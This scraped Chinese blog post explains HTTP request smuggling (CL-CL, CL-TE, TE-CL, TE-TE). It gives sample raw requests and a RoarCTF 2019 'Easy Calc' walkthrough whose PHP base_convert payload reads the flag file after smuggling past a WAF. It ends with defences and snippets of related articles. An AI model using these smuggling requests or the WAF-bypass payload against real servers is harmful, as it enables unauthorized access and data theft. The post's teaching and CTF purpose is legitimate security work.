<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    HTTP協議請求走私

    VSole2021-10-07 05:49:58

    HTTP請求走私

       HTTP請求走私是針對于服務端處理一個或者多個接收http請求序列的方式,進行繞過安全機制,實施未授權訪問一種攻擊手段,獲取敏感信息,并直接危害其他用戶。

        請求走私大多發生于前端服務器和后端服務器對客戶端傳入的數據理解不一致的情況。這是因為HTTP規范提供了兩種不同的方法來指定請求的結束位置,即 Content-Length 和 Transfer-Encoding標頭。

    分類

    • CLTE:前端服務器使用 Content-Length 頭,后端服務器使用 Transfer-Encoding 頭
    • TECL:前端服務器使用 Transfer-Encoding 標頭,后端服務器使用 Content-Length 標頭。
    • TETE:前端和后端服務器都支持 Transfer-Encoding 標頭,但是可以通過以某種方式來誘導其中一個服務器不處理它。

    5種攻擊方法

    1.CL不為0的GET請求

        當前端服務器允許GET請求攜帶請求體,而后端服務器不允許GET請求攜帶請求體,它會直接忽略掉GET請求中的 Content-Length 頭,不進行處理。例如下面這個例子:

    GET / HTTP/1.1\r
    Host: example.com\r
    Content-Length: 44\r
    
    GET /secret HTTP/1.1\r
    Host: example.com\r
    \r
        前端服務器處理了 Content-Length ,而后端服務器沒有處理 Content-Length ,基于pipeline機制認為這是兩個獨立的請求,就造成了漏洞的發生。
    

    2.CL-CL

        根據RFC 7230,當服務器收到的請求中包含兩個 Content-Length ,而且兩者的值不同時,需要返回400錯誤,但是有的服務器并沒有嚴格實現這個規范。這種情況下,當前后端各取不同的 Content-Length 值時,就會出現漏洞。例如:

    POST / HTTP/1.1\r
    Host: example.com\r
    Content-Length: 8\r
    Content-Length: 7\r
    
    12345\r
    a
     這個例子中a就會被帶入下一個請求,變為 aGET / HTTP/1.1\r 。
    

    3.CL-TE

    RFC2616規范
    //如果收到同時存在Content-Length和Transfer-Encoding這兩個請求頭的請求包時,在處理的時候必須忽略Content-Length。
    //所以請求包中同時包含這兩個請求頭并不算違規,服務器也不需要返回400錯誤。導致服務器在這里的實現更容易出問題。
    

    CL-TE指前端服務器處理 Content-Length 這一請求頭,而后端服務器遵守RFC2616的規定,忽略掉 Content-Length ,處理 Transfer-Encoding 。例如:

    POST / HTTP/1.1\r
    Host: example.com\r
    ...
    Connection: keep-alive\r
    Content-Length: 6\r
    Transfer-Encoding: chunked\r
    \r
    0\r
    \r
    a
    這個例子中a同樣會被帶入下一個請求,變為 aGET / HTTP/1.1\r
    
    

    4.TE-CL

    TE-CL指前端服務器處理 Transfer-Encoding 請求頭,而后端服務器處理 Content-Length 請求頭。例如:

    POST / HTTP/1.1\r
    Host: example.com\r
    ...
    Content-Length: 4\r
    Transfer-Encoding: chunked\r
    \r
    12\r
    aPOST / HTTP/1.1\r
    \r
    0\r
    \r
    
    

    5.TE-TE

    TE-TE指前后端服務器都處理 Transfer-Encoding 請求頭,但是在容錯性上表現不同,例如有的服務器可能會處理 Transfer-encoding ,測試例如:

    POST / HTTP/1.1\r
    Host: example.com\r
    ...
    Content-length: 4\r
    Transfer-Encoding: chunked\r
    Transfer-encoding: cow\r
    \r
    5c\r
    aPOST / HTTP/1.1\r
    Content-Type: application/x-www-form-urlencoded\r
    Content-Length: 15\r
    \r
    x=1\r
    0\r
    \r
    
    

    [RoarCTF 2019]Easy Calc

    CL-CL

    HTTP走私繞過WAF

    http協議走私基礎:https://www.cnblogs.com/xhds/p/12339994.html

    CL-CL

    兩個CL直接導致前端轉發的服務器400,而且完整轉發了post包給后端。

     CL-TE

    CL和TE直接導致前端轉發的服務器400,而且完整轉發了post包給后端。

     

     構造payload獲得Flag

    使用scandir()函數readfile()函數base_convert()函數dechex() 函數hex2bin() 函數chr()函數

    36進制scandir->10進制61693386291

    36進制readfile->10進制2146934604002

    ascii碼/->16進制2f->10進制47

    36進制f1agg->10進制25254448(讀取根目錄得到的)

    var_dump(base_convert(61693386291,10,36)(chr(47)))
    

     讀取flag

    var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))
    

     

    防御

    • 1、將前端服務器配置為只使用HTTP/2與后端系統通信
    • 2、完全禁用后端連接重用來解決此漏洞的所有變體
    • 3、確保連接中的所有服務器運行具有相同配置的相同web服務器軟件。
    • 4、徹底拒絕模糊的請求,并刪除關聯的連接。
    • 5、在Burp Suite中,你可以使用Repeater菜單禁用此行為,確保你選擇的工具具有相同的功能。
    • 6、通過Squid之類的代理來測試他們的測試人員的流量以進行監控。破壞測試人員發起的任何走私攻擊請求,確保對此漏洞做到全面杜絕。
    前端進制
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    函數h()是function g { var b = ""; 16 > a && ; return b + a.toString}function h { for e = a.charCodeAt, 255 >= e ?55^10055 =0011 0111100 =0110 0100結果 =0101 0011十進制 =83. def octToHexStr: if number < 16: return '0' + str[2:]. for chr in data: e = ord if e <= 255: enData += octToHexStr else: enData += octToHexStr
    由于小程序的便捷性,越來越多的應用遷移到了了小程序上,由此伴隨著小程序上線前的日常滲透測試工作也開始增加。但小程序的測試中經常會遇到數據包被加密了,導致無法進行改包測試。和測試網頁數據包加密一樣,就需要找到小程序前端相應的加解密方法進行加解密數據包改包測試。
    文件上傳數據包解析 文件上傳實質上還是客戶端的POST請求,消息主體是一些上傳信息。前端上傳頁面需要指定 enctype為multipart/from-data才能正常上傳文件。 一個正常的文件上傳數據包大致如下:
    我們都知道,學安全,懂SQL注入是重中之重,因為即使是現在SQL注入漏洞依然存在,只是相對于之前現在挖SQL注入變的困難了。而且知識點比較多,所以在這里總結一下。通過構造有缺陷的代碼,來理解常見的幾種SQL注入。本文只是講解幾種注入原理,沒有詳細的利用過程。
    HTTP request smuggling與CTF實戰利用
    日常滲透測試中,在進行數據包的重放或者是篡改數據包時,會碰到一些存在數據加密或加簽的站點,這時我們就得尋找加簽或者加密的算法,而這尋找過程往往有一定難度。 總的來講,對于數據解密或者加簽破解的難度:app>web≥wxapp,同時api接口都是相同的,為降低不必要的挖洞難度,可將目光放到微信小程序上。本次就是以一個微信小程序站點開展的測試。
    HTTP協議請求走私
    2021-10-07 05:49:58
    HTTP請求走私是針對于服務端處理一個或者多個接收http請求序列的方式,進行繞過安全機制,實施未授權訪問一種攻擊手段,獲取敏感信息,并直接危害其他用戶。
    HTTP請求走私是針對于服務端處理一個或者多個接收http請求序列的方式,進行繞過安全機制,實施未授權訪問一種攻擊手段,獲取敏感信息,并直接危害其他用戶。????請求走私大多發生于前端服務器和后端服務器對客戶端傳入的數據理解不一致的情況。
    主要是可以拿著這些信息通過goole,或github搜索一些其他的敏感信息,擴大搜索面。效果就不多說了,在github泄漏一些賬號或源碼的事件簡直不要太多。)如果得到的ip結果不同,即可判斷使用了CDN。nmap掃描服務器進行搜集,我認為也是至關重要的一點,不能遺漏。里面的security項rename-command CONFIG ""又問:如果內容禁止使用ip如何探測內網端口1、使用dns解析2、127。
    SQL注入測試
    2022-05-09 07:47:24
    0x01 等保測評項 GBT 22239-2019《信息安全技術 網絡安全等級保護基本要求》中,8.1.4.4安全計算環境—入侵防范項中要求包括: a)應遵循最小安裝的原則,僅安裝需要的組件和應用程序; b)應關閉不需要的系統服務、默認共享和高危端口; c)應通過設定終端接入方式或網絡地址范圍對通過網絡進行管理的管理終端進行限制; d)應提供數據有效性檢驗功能,保證通過人機接口輸入或通過通
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类